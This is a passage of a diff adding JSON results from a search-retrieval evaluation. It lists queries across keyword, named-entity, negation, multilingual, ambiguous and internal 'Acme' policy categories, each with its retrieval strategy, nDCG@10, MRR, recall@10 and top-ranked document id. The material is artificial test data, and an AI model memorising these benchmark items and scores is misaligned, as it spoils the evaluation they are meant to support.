"strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "dynamodb-keys", + "totalRelevant": 1 + }, + { + "query": "cassandra", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "cassandra-consistency", + "totalRelevant": 1 + }, + { + "query": "sqlite", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "sqlite-wal", + "totalRelevant": 1 + }, + { + "query": "argocd", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "gitops-argocd", + "totalRelevant": 1 + }, + { + "query": "terraform", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "terraform-state", + "totalRelevant": 2 + }, + { + "query": "ansible", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "ansible-playbook", + "totalRelevant": 1 + }, + { + "query": "fastify", + "category": "short_kw", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "fastify-plugins", + "totalRelevant": 1 + }, + { + "query": "PgBouncer config production OLTP", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-pooling", + "totalRelevant": 1 + }, + { + "query": "Redis Streams XADD consumer groups", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "redis-pubsub", + "totalRelevant": 1 + }, + { + "query": "Kubernetes Deployment rolling update strategy", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "k8s-deployments", + "totalRelevant": 1 + }, + { + "query": "TLS handshake ClientHello cipher suites", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "tls-handshake", + "totalRelevant": 1 + }, + { + "query": "FSDP sharded data parallel training", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "ml-fsdp", + "totalRelevant": 1 + }, + { + "query": "Postgres pgvector index ivfflat", + "category": "named_entity", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-pgvector", + "totalRelevant": 1 + }, + { + "query": "AWS S3 lifecycle Glacier", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "aws-s3", + "totalRelevant": 1 + }, + { + "query": "Acme PaymentsOnCall escalation", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "runbook-payment-outage", + "totalRelevant": 2 + }, + { + "query": "ArgoCD ApplicationSet generators", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "gitops-argocd", + "totalRelevant": 1 + }, + { + "query": "Cilium NetworkPolicy L7", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "k8s-networkpolicy", + "totalRelevant": 1 + }, + { + "query": "HashiCorp Vault dynamic secrets", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "k8s-secrets", + "totalRelevant": 1 + }, + { + "query": "Sigstore cosign signing", + "category": "named_entity", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "supply-chain", + "totalRelevant": 1 + }, + { + "query": "Tailscale MFA VPN", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "vpn-access", + "totalRelevant": 1 + }, + { + "query": "PagerDuty Sev1 ack", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "on-call-escalation", + "totalRelevant": 1 + }, + { + "query": "Greenhouse hiring rubric", + "category": "named_entity", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "engineering-hiring-rubric", + "totalRelevant": 1 + }, + { + "query": "BambooHR vacation request", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "vacation-policy", + "totalRelevant": 1 + }, + { + "query": "Expensify per diem", + "category": "named_entity", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "expense-report", + "totalRelevant": 1 + }, + { + "query": "Tendermint HotStuff BFT", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "blockchain-consensus", + "totalRelevant": 1 + }, + { + "query": "Curve25519 secp256k1 ECDSA", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "crypto-ec", + "totalRelevant": 1 + }, + { + "query": "Apache Log4j JNDI lookup", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "cve-log4shell", + "totalRelevant": 1 + }, + { + "query": "GPTQ AWQ INT4 quantization", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "ml-quantization", + "totalRelevant": 1 + }, + { + "query": "Tendermint validator set", + "category": "named_entity", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "blockchain-consensus", + "totalRelevant": 1 + }, + { + "query": "Patroni leader DCS", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "runbook-database-failover", + "totalRelevant": 1 + }, + { + "query": "Snyk findings CI", + "category": "named_entity", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "production-deploy-checklist", + "totalRelevant": 1 + }, + { + "query": "Okta GitHub PagerDuty onboarding", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "new-hire-onboarding", + "totalRelevant": 1 + }, + { + "query": "LaunchDarkly feature flag", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "runbook-payment-outage", + "totalRelevant": 1 + }, + { + "query": "OWASP Top 10 SSRF", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "owasp-top-10", + "totalRelevant": 1 + }, + { + "query": "DPO PPO reward model", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "ml-rlhf", + "totalRelevant": 1 + }, + { + "query": "Tokio runtime executor", + "category": "named_entity", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "rust-async", + "totalRelevant": 1 + }, + { + "query": "vacuum without locking writes", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-vacuum", + "totalRelevant": 1 + }, + { + "query": "pod not restarting", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.5, + "mrr": 0.3333333333333333, + "recall10": 1, + "topDocId": "k8s-configmap", + "totalRelevant": 1 + }, + { + "query": "redis pubsub vs streams", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "redis-pubsub", + "totalRelevant": 1 + }, + { + "query": "tls vs ssl differences", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "tls-handshake", + "totalRelevant": 1 + }, + { + "query": "JWT vs session cookies", + "category": "negation", + "strategy": "keyword", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "auth-jwt-vs-session", + "totalRelevant": 1 + }, + { + "query": "deploy without downtime", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.38685280723454163, + "mrr": 0.5, + "recall10": 0.5, + "topDocId": "runbook-deploy-rollback", + "totalRelevant": 2 + }, + { + "query": "session pooling vs transaction pooling", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-pooling", + "totalRelevant": 1 + }, + { + "query": "logical replication vs streaming replication", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-replication", + "totalRelevant": 1 + }, + { + "query": "PoW vs PoS consensus", + "category": "negation", + "strategy": "keyword", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "blockchain-consensus", + "totalRelevant": 1 + }, + { + "query": "Helm vs Kustomize", + "category": "negation", + "strategy": "keyword", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "k8s-helm", + "totalRelevant": 1 + }, + { + "query": "GiST vs GIN vs BRIN", + "category": "negation", + "strategy": "keyword", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-indexes", + "totalRelevant": 1 + }, + { + "query": "Type I vs Type II SOC 2", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "compliance-soc2", + "totalRelevant": 1 + }, + { + "query": "ClusterIP vs NodePort vs LoadBalancer", + "category": "negation", + "strategy": "keyword", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "k8s-services", + "totalRelevant": 1 + }, + { + "query": "blocking vs non-blocking IO without polling", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "rust-async", + "totalRelevant": 2 + }, + { + "query": "no global package installs", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "python-virtualenv", + "totalRelevant": 1 + }, + { + "query": "rerank not slow", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "ml-rag", + "totalRelevant": 1 + }, + { + "query": "never trust unverified JWT", + "category": "negation", + "strategy": "keyword", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "rfc-7519-jwt", + "totalRelevant": 1 + }, + { + "query": "without leaving production data exposed", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.9197207891481876, + "mrr": 1, + "recall10": 1, + "topDocId": "compliance-pii", + "totalRelevant": 2 + }, + { + "query": "rollback that won't lose data", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "runbook-deploy-rollback", + "totalRelevant": 1 + }, + { + "query": "auth flow except implicit", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "auth-oauth2", + "totalRelevant": 1 + }, + { + "query": "重複行 削除 PostgreSQL", + "category": "non_english", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "japanese-dedup", + "totalRelevant": 1 + }, + { + "query": "cómo configurar pool de conexiones en postgres", + "category": "non_english", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "spanish-postgres", + "totalRelevant": 2 + }, + { + "query": "Redis cache stratégies en production", + "category": "non_english", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "redis-cache", + "totalRelevant": 2 + }, + { + "query": "Kubernetes Liveness Probe konfigurieren", + "category": "non_english", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "german-kubernetes", + "totalRelevant": 2 + }, + { + "query": "MongoDB 索引 复合索引 ESR", + "category": "non_english", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "chinese-mongodb", + "totalRelevant": 2 + }, + { + "query": "React Hook 사용 useState useEffect", + "category": "non_english", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.7122630665145961, + "mrr": 0.5, + "recall10": 1, + "topDocId": "code-react-hook", + "totalRelevant": 3 + }, + { + "query": "AWS S3 versionamento ciclo de vida", + "category": "non_english", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "portuguese-aws", + "totalRelevant": 2 + }, + { + "query": "PostgreSQL производительность shared_buffers work_mem", + "category": "non_english", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "russian-postgres", + "totalRelevant": 1 + }, + { + "query": "TLS 1.3 المصافحة شهادة", + "category": "non_english", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "arabic-tls", + "totalRelevant": 2 + }, + { + "query": "Python त्रुटि अपवाद हैंडलिंग", + "category": "non_english", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "hindi-python", + "totalRelevant": 1 + }, + { + "query": "Rust ownership memoria garbage collector", + "category": "non_english", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "rust-ownership", + "totalRelevant": 2 + }, + { + "query": "Go goroutine channel select", + "category": "non_english", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.9197207891481876, + "mrr": 1, + "recall10": 1, + "topDocId": "go-goroutines", + "totalRelevant": 2 + }, + { + "query": "PgBouncer 연결 풀 PostgreSQL", + "category": "non_english", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "russian-postgres", + "totalRelevant": 1 + }, + { + "query": "Kafka 分区 顺序 消费者", + "category": "non_english", + "strategy": "vector", + "reranked": true, + "ndcg10": 0.38685280723454163, + "mrr": 0.2, + "recall10": 1, + "topDocId": "vietnamese-go", + "totalRelevant": 1 + }, + { + "query": "Kubernetes Liveness Probe Container Neustart", + "category": "non_english", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "german-kubernetes", + "totalRelevant": 2 + }, + { + "query": "best vector database for production", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-pgvector", + "totalRelevant": 1 + }, + { + "query": "production postgres tuning checklist", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.6836127878533236, + "mrr": 0.5, + "recall10": 1, + "topDocId": "production-deploy-checklist", + "totalRelevant": 4 + }, + { + "query": "kubernetes pod failure modes", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.21840743681816419, + "mrr": 0.16666666666666666, + "recall10": 0.5, + "topDocId": "k8s-statefulsets", + "totalRelevant": 2 + }, + { + "query": "vacuum bloat troubleshooting", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-vacuum", + "totalRelevant": 1 + }, + { + "query": "scaling pubsub workloads", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.7653606369886217, + "mrr": 1, + "recall10": 0.6666666666666666, + "topDocId": "redis-pubsub", + "totalRelevant": 3 + }, + { + "query": "rerank pipeline retrieval", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "ml-rag", + "totalRelevant": 2 + }, + { + "query": "managing infrastructure as code", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "react-server-components", + "totalRelevant": 3 + }, + { + "query": "feature flag rollout strategies", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "k8s-deployments", + "totalRelevant": 1 + }, + { + "query": "incident response retrospective", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "security-incident-response", + "totalRelevant": 2 + }, + { + "query": "frontend performance baseline", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "web-perf-cwv", + "totalRelevant": 1 + }, + { + "query": "css layout patterns modern", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "css-flex-grid", + "totalRelevant": 1 + }, + { + "query": "internationalization rollout plan", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "frontend-i18n", + "totalRelevant": 1 + }, + { + "query": "secrets in CI/CD", + "category": "ambiguous", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.7977228895450266, + "mrr": 1, + "recall10": 1, + "topDocId": "secrets-management", + "totalRelevant": 2 + }, + { + "query": "blue green deployment", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "k8s-deployments", + "totalRelevant": 1 + }, + { + "query": "logging best practices microservices", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "log-best-practices", + "totalRelevant": 2 + }, + { + "query": "horizontal scaling stateless services", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "k8s-hpa", + "totalRelevant": 2 + }, + { + "query": "client side caching strategies", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "redis-cache", + "totalRelevant": 1 + }, + { + "query": "cost optimization S3 storage classes", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "ml-fsdp", + "totalRelevant": 1 + }, + { + "query": "managed message queue choice", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.9828920819566879, + "mrr": 1, + "recall10": 1, + "topDocId": "rabbitmq-exchanges", + "totalRelevant": 4 + }, + { + "query": "embeddings model selection", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.7977228895450266, + "mrr": 1, + "recall10": 1, + "topDocId": "ml-rag", + "totalRelevant": 2 + }, + { + "query": "auth strategy multi tenant", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.8315546295836225, + "mrr": 1, + "recall10": 1, + "topDocId": "auth-oauth2", + "totalRelevant": 2 + }, + { + "query": "sharding horizontal partitioning", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.8385465274895063, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-partitioning", + "totalRelevant": 3 + }, + { + "query": "observability spans metrics logs", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.9060254355346823, + "mrr": 1, + "recall10": 1, + "topDocId": "log-best-practices", + "totalRelevant": 3 + }, + { + "query": "compliance audit prep", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.7122630665145961, + "mrr": 0.5, + "recall10": 1, + "topDocId": "compliance-iso27001", + "totalRelevant": 3 + }, + { + "query": "what runbook covers payment outages at Acme", + "category": "internal", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "runbook-payment-outage", + "totalRelevant": 1 + }, + { + "query": "what is Acme's on-call escalation policy", + "category": "internal", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "on-call-escalation", + "totalRelevant": 1 + }, + { + "query": "where do I find the deploy rollback runbook", + "category": "internal", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "runbook-deploy-rollback", + "totalRelevant": 1 + }, + { + "query": "what is the Acme database failover procedure", + "category": "internal", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "runbook-database-failover", + "totalRelevant": 1 + }, + { + "query": "Acme on-call handoff procedure", + "category": "internal", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "on-call-handoff", + "totalRelevant": 1 + }, + { + "query": "incident postmortem template at Acme", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "incident-postmortem-template", + "totalRelevant": 1 + }, + { + "query": "ADR template at Acme", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "adr-template", + "totalRelevant": 1 + }, + { + "query": "Acme design doc template", + "category": "internal", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "design-doc-template", + "totalRelevant": 1 + }, + { + "query": "code review guidelines at Acme", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "code-review-guidelines", + "totalRelevant": 1 + }, + { + "query": "what is Acme's vacation policy", + "category": "internal", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "vacation-policy", + "totalRelevant": 1 + }, + { + "query": "how do I submit an expense report at Acme", + "category": "internal", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "expense-report", + "totalRelevant": 1 + }, + { + "query": "Acme secret rotation quarterly", + "category": "internal", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "secret-rotation", + "totalRelevant": 1 + }, + { + "query": "quarterly access review process", + "category": "internal", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "access-review", + "totalRelevant": 1 + }, + { + "query": "Acme VPN access policy Tailscale", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "vpn-access", + "totalRelevant": 1 + }, + { + "query": "production deploy checklist Acme", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "production-deploy-checklist", + "totalRelevant": 1 + }, + { + "query": "new hire onboarding day 1 Acme", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "new-hire-onboarding", + "totalRelevant": 1 + }, + { + "query": "Acme engineering hiring rubric scores", + "category": "internal", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "engineering-hiring-rubric", + "totalRelevant": 1 + }, + { + "query": "Acme Slack channel naming conventions", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "slack-channels", + "totalRelevant": 1 + }, + { + "query": "Acme security incident response", + "category": "internal", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "security-incident-response", + "totalRelevant": 1 + }, + { + "query": "two approvals required for billing changes", + "category": "internal", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "code-review-guidelines", + "totalRelevant": 1 + }, + { + "query": "PaymentsOnCall escalation Sev1", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "on-call-escalation", + "totalRelevant": 2 + }, + { + "query": "Acme buddy assignment day 1", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "new-hire-onboarding", + "totalRelevant": 1 + }, + { + "query": "Acme staging soak before promotion", + "category": "internal", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "production-deploy-checklist", + "totalRelevant": 1 + }, + { + "query": "what is the Acme break glass policy", + "category": "internal", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "access-review", + "totalRelevant": 1 + }, + { + "query": "how often does Acme rotate credentials", + "category": "internal", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "secret-rotation", + "totalRelevant": 1 + }, + { + "query": "who reviews access at Acme each quarter", + "category": "internal", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "access-review", + "totalRelevant": 1 + }, + { + "query": "blameless postmortem culture", + "category": "internal", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "incident-postmortem-template", + "totalRelevant": 1 + }, + { + "query": "Acme RFC ADR distinction", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "adr-template", + "totalRelevant": 1 + }, + { + "query": "ApplicationSets generators Acme", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "gitops-argocd", + "totalRelevant": 1 + }, + { + "query": "30 60 90 check-ins Acme", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "new-hire-onboarding", + "totalRelevant": 1 + }, + { + "query": "incident-private channel Acme", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "security-incident-response", + "totalRelevant": 1 + }, + { + "query": "Acme reimbursement timeline", + "category": "internal", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "expense-report", + "totalRelevant": 1 + }, + { + "query": "Acme deploy rolling restart Vault", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "secret-rotation", + "totalRelevant": 1 + }, + { + "query": "engineering hiring committee weekly review", + "category": "internal", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "engineering-hiring-rubric", + "totalRelevant": 1 + }, + { + "query": "Acme channel archive policy", + "category": "internal", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "slack-channels", + "totalRelevant": 1 + }, + { + "query": "Apache Kafka exactly-once semantics", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "kafka-partitions", + "totalRelevant": 1 + }, + { + "query": "OpenAI embeddings text-embedding-3-small", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-pgvector", + "totalRelevant": 1 + }, + { + "query": "Datadog APM trace propagation", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "otel-traces", + "totalRelevant": 1 + }, + { + "query": "GitHub Dependabot version updates", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "github-actions", + "totalRelevant": 1 + }, + { + "query": "preventing token replay", + "category": "procedural", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "auth-oauth2", + "totalRelevant": 1 + }, + { + "query": "design a dead letter queue", + "category": "procedural", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "rabbitmq-exchanges", + "totalRelevant": 1 + }, + { + "query": "diagnose head-of-line blocking on http2", + "category": "procedural", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "quic-http3", + "totalRelevant": 2 + }, + { + "query": "mitigate xz-utils backdoor", + "category": "procedural", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + 